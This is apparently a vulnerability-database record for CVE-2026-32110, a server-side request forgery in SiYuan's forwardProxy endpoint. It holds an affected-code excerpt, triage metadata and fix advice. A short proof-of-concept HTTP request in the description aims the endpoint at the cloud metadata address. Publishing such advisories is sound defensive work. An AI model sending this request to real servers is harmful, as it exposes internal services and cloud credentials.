{"id":"CVE-2026-32110","kind":"vulnerability","aliases":["CVE-2026-32110","GHSA-56cv-c5p2-j2wg"],"related":[],"title":"SiYuan has a Full-Read SSRF via /api/network/forwardProxy","description":"### Summary\nThe `/api/network/forwardProxy` endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services.\n\n### Affected Code\nFile: `/kernel/api/network.go` (Lines `153-317`)\n```\nfunc forwardProxy(c *gin.Context) {\n    ret := gulu.Ret.NewResult()\n    defer c.JSON(http.StatusOK, ret)\n\n    arg, ok := util.JsonArg(c, ret)\n    if !ok {\n        return\n    }\n\n    destURL := arg[\"url\"].(string)\n    // VULNERABILITY: Only validates URL format, not destination\n    if _, e := url.ParseRequestURI(destURL); nil != e {\n        ret.Code = -1\n        ret.Msg = \"invalid [url]\"\n        return\n    }\n\n    // ... HTTP request is made to user-controlled URL ...\n    resp, err := request.Send(method, destURL)\n    \n    // Full response body is returned to the user\n    bodyData, err := io.ReadAll(resp.Body)\n    // ...\n    ret.Data = data  // Contains full response body\n}\n```\n### PoC\n- First, authenticate with your access auth code and copy the authenticated cookie.\n- Now use the request below for SSRF to Access Cloud Metadata.\n```\nPOST /api/network/forwardProxy HTTP/1.1\nHost: <HOST>\nCookie: siyuan=<COOKIE>\nContent-Length: 102\n\n{\"url\":\"http://169.254.169.254/metadata/v1/\",\"method\":\"GET\",\"headers\":[],\"payload\":\"\",\"timeout\":7000}'\n```\n<img width=\"1230\" height=\"754\" alt=\"Screenshot 2026-03-11 at 1 23 36 AM\" src=\"https://github.com/user-attachments/assets/60486dba-1ccd-4287-8073-b803854756a2\" />\n\n### Impact\n- Internal Network Reconnaissance: Attackers can scan internal services\n- Cloud Credential Theft: Potential access to cloud metadata and IAM credentials\n- Data Exfiltration: Server can be used as a proxy to access internal resources\n- Firewall Bypass: Requests originate from trusted internal IP","summary":"SiYuan's /api/network/forwardProxy endpoint sends HTTP requests to any URL a logged-in user supplies and returns the full response. An attacker can use the server to reach localhost, internal services and cloud metadata endpoints.","severity":"high","cvss":8.3,"epss":0.00354,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/siyuan-note/siyuan/kernel","fixed":["3.6.0"],"affected":"<= 3.5.9","ecosystem":"go"},{"name":"b3log siyuan","fixed":["3.6.0"],"affected":"< 3.6.0","ecosystem":"vendor"}],"ecosystems":["go","vendor"],"tags":["cloud","cwe-918","package","self-hosted","siyuan"],"not_affected_if":["auth-required","version-3.6.0-or-later"],"how_to_check":"- Check the SiYuan kernel version: `unknown` for the install method, but the affected range is versions up to and including `3.5.9`\n- Confirm whether the instance is reachable by people beyond the owner (access auth code set and exposed to a network)","fix":"- Upgrade SiYuan kernel to `3.6.0` or later","status":"open","published_at":"2026-03-11T21:16:17+00:00","first_seen_at":"2026-11-05T21:34:22+00:00","triaged_at":"2026-11-05T21:34:56+00:00","updated_at":"2026-11-05T21:40:46+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-05T21:34:56Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade SiYuan kernel to `3.6.0` or later","reach":"network","title":"SiYuan: authenticated users can make the server fetch internal URLs","impact":"high","summary":"SiYuan's /api/network/forwardProxy endpoint sends HTTP requests to any URL a logged-in user supplies and returns the full response. An attacker can use the server to reach localhost, internal services and cloud metadata endpoints.","audience":"everyone","category":"package","nicknames":[],"who_cares":["siyuan","self-hosted","cloud"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Attacker reads cloud metadata credentials and internal service responses from the server","analyst_note":"","how_to_check":"- Check the SiYuan kernel version: `unknown` for the install method, but the affected range is versions up to and including `3.5.9`\n- Confirm whether the instance is reachable by people beyond the owner (access auth code set and exposed to a network)","plain_action":"Update SiYuan to version 3.6.0 or later.","needs_analyst":false,"not_affected_if":["version-3.6.0-or-later","auth-required"],"who_is_affected":"Anyone running SiYuan 3.5.9 or earlier who has an account or access auth code, and whose server can reach internal networks or cloud metadata services. Desktop-only use on a laptop with no shared network exposure carries less risk than a self-hosted server open to a LAN or the internet.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.000781,"input_tokens":5042,"output_tokens":554,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-1':165C '-2026':11A,19A '-317':128C '-32110':12A,20A '-918':28B '/api/network/forwardproxy':9A,36B,72C,227C '/kernel/api/network.go':125C '/metadata/v1':238C '/siyuan-note/siyuan/kernel':23A '102':235C '153':127C '169.254.169.254':237C '56cv':15A '7000':244C 'accept':87C 'access':207C,223C,258C,275C 'affect':122C 'allow':74C 'arbitrari':79C 'arg':139C,148C 'attack':56B,249C 'auth':208C 'authent':75C,204C,213C 'b3log':24A 'bodi':103C,186C,201C 'bodydata':192C 'bypass':279C 'c':131C,142C 'c.json':136C 'c5p2':16A 'cloud':26B,67B,119C,224C,254C,260C 'code':123C,209C 'contain':198C 'content':233C 'content-length':232C 'control':91C,177C 'cooki':214C,230C 'copi':211C 'credenti':255C,264C 'cve':10A,18A 'cwe':27B 'data':197C,265C 'defer':135C 'destin':157C 'desturl':147C,161C,183C 'e':159C,163C 'endpoint':37B,69B,73C,86C 'err':180C,193C 'exfiltr':266C 'file':124C 'firewal':278C 'first':203C 'format':155C 'forwardproxi':130C 'full':5A,53B,101C,184C,199C 'full-read':4A 'func':129C 'get':240C 'ghsa':14A 'ghsa-56cv-c5p2-j2wg':13A 'gin.context':132C 'github.com':22A 'github.com/siyuan-note/siyuan/kernel':21A 'gulu.ret.newresult':134C 'header':105C,241C 'host':32B,229C 'http':39B,80C,95C,170C 'http.statusok':137C 'http/1.1':228C 'iam':263C 'impact':245C 'intern':64B,115C,246C,252C,276C,284C 'invalid':167C 'io.readall':194C 'ip':285C 'j2wg':17A 'length':234C 'line':126C 'localhost':63B,117C 'log':46B 'logged-in':45B 'made':173C 'make':78C,94C 'metadata':68B,120C,225C,261C 'method':182C,239C 'network':116C,247C 'nil':162C 'ok':140C,145C 'origin':281C 'packag':29B 'payload':242C 'poc':202C 'post':226C 'potenti':257C 'prevent':112C 'proxi':273C 'reach':62B 'read':6A 'reconnaiss':248C 'request':40B,81C,96C,113C,171C,218C,280C 'request.send':181C 'resourc':277C 'resp':179C 'resp.body':195C 'respons':54B,102C,185C,200C 'ret':133C,138C,143C 'ret.code':164C 'ret.data':196C 'ret.msg':166C 'return':51B,99C,146C,169C,188C 'scan':251C 'self':31B 'self-host':30B 'send':38B 'server':60B,84C,267C 'servic':65B,121C,253C 'siyuan':1A,25A,33B,34B,231C 'ssrf':7A,221C 'string':150C 'summari':70C 'suppli':49B 'theft':256C 'timeout':243C 'trust':283C 'url':43B,92C,109C,149C,154C,168C,178C,236C 'url.parserequesturi':160C 'use':58B,216C,270C 'user':48B,76C,90C,176C,191C 'user-control':89C,175C 'util.jsonarg':141C 'valid':110C,153C 'via':8A 'vulner':151C","nicknames":[],"mitigations":[],"who_affected":"Anyone running SiYuan 3.5.9 or earlier who has an account or access auth code, and whose server can reach internal networks or cloud metadata services. Desktop-only use on a laptop with no shared network exposure carries less risk than a self-hosted server open to a LAN or the internet.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"everyone","plain_action":"Update SiYuan to version 3.6.0 or later.","pkeys":["b3logsiyuan","githubcomsiyuannotesiyuankernel","siyuan"],"ptokens":["b3log","com","github","kernel","note","siyuan"],"labels":["cloud","cwe918","go","high","package","selfhosted","siyuan","vendor"],"campaign_type":null,"first_public_at":"2026-03-11T01:11:29+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-56cv-c5p2-j2wg","url":"https://github.com/advisories/GHSA-56cv-c5p2-j2wg","severity":"high","published_at":"2026-03-12T14:23:14+00:00","modified_at":"2026-11-05T21:33:13+00:00","first_seen_at":"2026-11-05T21:34:22+00:00","fetched_at":"2026-11-05T21:39:14+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-32110","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32110","severity":null,"published_at":"2026-03-11T21:16:17+00:00","modified_at":"2026-06-17T10:35:09+00:00","first_seen_at":"2026-11-05T21:40:46+00:00","fetched_at":"2026-11-05T21:40:46+00:00","note":null}],"documents":[{"id":80306,"url":"https://api.github.com/repos/siyuan-note/siyuan/security-advisories/GHSA-56cv-c5p2-j2wg","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":80307,"url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-56cv-c5p2-j2wg","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-03-11T01:11:29+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":80308,"url":"https://github.com/siyuan-note/siyuan/commit/3284e10028de39c8afc21b020498144714503fe1","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"exploit_sources":[{"type":"epss","score":0.00354,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-32110"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}